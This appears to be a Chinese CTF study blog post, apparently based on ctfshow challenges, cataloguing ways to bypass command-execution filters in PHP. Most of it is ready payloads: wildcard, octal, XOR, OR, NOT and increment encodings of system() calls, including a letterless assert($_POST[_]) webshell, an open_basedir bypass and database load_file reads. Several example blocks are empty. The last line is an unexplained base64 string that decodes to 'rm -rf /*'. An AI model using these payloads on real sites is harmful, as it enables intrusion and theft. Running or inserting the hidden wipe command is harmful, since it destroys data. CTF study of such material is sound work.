命令执行
Last Update:
安全无止境,继续前进吧!
罗德岛的PRTS依赖于强大的网络系统,
相应地,网络安全尤为重要,这关乎全岛各项事务的正常运作,
希望你能够以身作则,祝你好运。
–by Kal’tsit

绕过严格过滤
命令执行,需要严格的过滤;攻击者需要想方设法绕过重重过滤
敏感词汇过滤
文件名/扩展名过滤
使用*或?替换掉部分文件名和扩展名,前者可以替换掉一个字符,后者可以一次替换掉多个字符;
或者在词汇中间插入’’或者\绕过检测;高级版文件名/扩展名过滤
在第一个的基础上做了升级。比如要过滤关键词’tac’,凡是传入的参数当中按顺序出现了’t’’a’’c’这三个字符,参数就会被过滤;
此时第一个方法就不好用了,需要在省略部分字符的同时下加上路径/bin/,否则系统无法匹配命令;1
2?file=/bin/cat index.php
->?file=/bin/ca?${IFS}?????.???函数名过滤
当system被过滤时,使用echo `command`;执行系统命令;
如果echo也被过滤,使用nl命令(该命令无回显,需要手动查看网页源代码);拼接法
通过构造与调用参数拼接敏感词汇,也能够绕过检测;1
2?file=system('ls');
->?file=$a=sys;$b=tem;$c=$a.$b;$c('ls');包含法
利用到了文件包含漏洞当中的filter包含,还挺好用(详解见:漏洞利用);1
?file=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=index.php
敏感字符过滤
分号’;’过滤
使用%0a代替分号;空格’%20’过滤
在echo没有被过滤的情况下,使用$IFS(echo适用)或${IFS}代替空格;
如果echo被过滤,使用%09代替空格(%09是Tab键的url编码);
如果$或{}或IFS被过滤,使用+代替空格(+会被解释成空格);
此外,也可以获取并调用php环境中与空格等效的标识符;问号’?’过滤
使用不含问号的javascript语句构造PHP命令:1
2?file=system('ls');
->?file=<script language='php'>system('ls');</script>点’.’过滤
使用以下语句构造’.’:1
2pos(localeconv())
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))此外,还可以用句号’。’代替’.’
全数字过滤
利用Linux系统中的$(())构造数字:
1 | |
全字母过滤
所有字母均被过滤时,考虑使用以下方法:
通配符替换
使用’?’或’*‘替换字符,其中’?’一次只能替换一个字符,’*‘一次可以替换多个字符;bash无字母命令执行
使用$’\num1\num2\……\numn’替换传统命令(其中的num均为对应字符的ASCII码的八进制形式);1
2?file=tac flag.php
->?file=$'\164\141\143' $'\146\154\141\147\56\160\150\160'
全数字、全字母过滤
如果遇到了所有字母和数字都被过滤的极端情况,有以下几种方法绕过:
- php异或
将系统命令异或处理后传入(需要保证密文和密钥的url解码结果均不包含字母和数字);1
2
3
4
5system('ls');
->("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
system('tac flag.php');
->("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b"); - php或
与异或相似,操作是差不多的;1
2
3
4
5system('ls');
->("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
system('tac flag.php');
->("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60"); - php自增
PHP7.0.12以上版本不可用1
2assert($_POST[_]);
->$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); - php取反请注意:在Linux系统中,system()函数不支持以上操作!
1
2
3
4
5system('ls');
->(~%8C%86%8C%8B%9A%92)(~%93%8C);
system('tac flag.php');
->(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
此外,当 $、+、-、^、~、|、% 这些字符被过滤后,以上方法将失效!
举些例子(以下题目来自ctfshow):
1 | |
1 | |
1 | |
1 | |
1 | |
1 | |
1 | |
1 | |
1 | |
1 | |
突破禁用函数
命令执行,突破禁用函数;攻击者需要想方设法绕过重重限制
函数调用
一般POST突破,直接在POST里面调用函数并传入即可;
1 | |
拦截跳出
如果不想执行后续代码,避免输出缓冲区被劫持过滤,可以在命令末尾处添加以下两种功能函数:
- 提前送出缓冲区;
1
2ob_flush();
ob_end_flush(); - 提前终止程序;
1
2exit(0);
die(0);
glob伪协议
如果存在open_basedir配置的限制,常规的PHP访问函数被限制或禁用,
使用glob协议绕过open_basedir的限制:
1 | |
连接数据库
如果存在include_path限制,文件包含路径受限,无法直接使用include()包含文件得到flag信息,
使用以下方式连接MySQL数据库访问flag:
- PDO连接;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15file=
try
{
$dbh = new PDO('mysql: host = localhost; dbname = ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag.txt")') as $row)
{
echo($row[0])."|";
}
$dbh = null;
}catch (PDOException $e)
{
echo $e->getMessage();
exit(0);
}
exit(0); - 回环地址连接;
1
2
3
4
5
6
7
8
9file=
$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining");
$sql = "select load_file('/flag.txt') as a";
$row = mysqli_query($conn, $sql);
while($result = mysqli_fetch_array($row))
{
echo $result['a'];
}
exit(0);
FFI(仅限于PHP7.4及以上版本)
PHP外部函数接口特性,用于实现高级语言之间的互相调用;
使用FFI::cdef()函数定义我们需要调用的函数的原型:
1 | |
这里引入例题web77(本题未开源,故不放上源代码,仅展示payload):
1 | |
举些例子
1 | |
1 | |
Bash内置变量
利用Bash内置变量构造命令执行语句;
<- To be continued _(:3 ∠)__
く__,.ヘヽ. / ,ー、 〉
\ ', !-─‐-i / /´
/`ー' L//`ヽ、
/ /, /| , , ',
イ / /-‐/ i L_ ハ ヽ! i
レ ヘ 7イ`ト レ'ァ-ト、!ハ| |
!,/7 '0' ´0iソ| |
|.从" _ ,,,, / |./ |
レ'| i>.、,,__ _,.イ / .i |
レ'| | / k_7_/レ'ヽ, ハ. |
| |/i 〈|/ i ,.ヘ | i |
.|/ / i: ヘ! \ |
kヽ>、ハ _,.ヘ、 /、!
!'〈//`T´', \ `'7'ーr'
レ'ヽL__|___i,___,ンレ|ノ
ト-,/ |___./
'ー' !_,.:
cm0gLXJmIC8q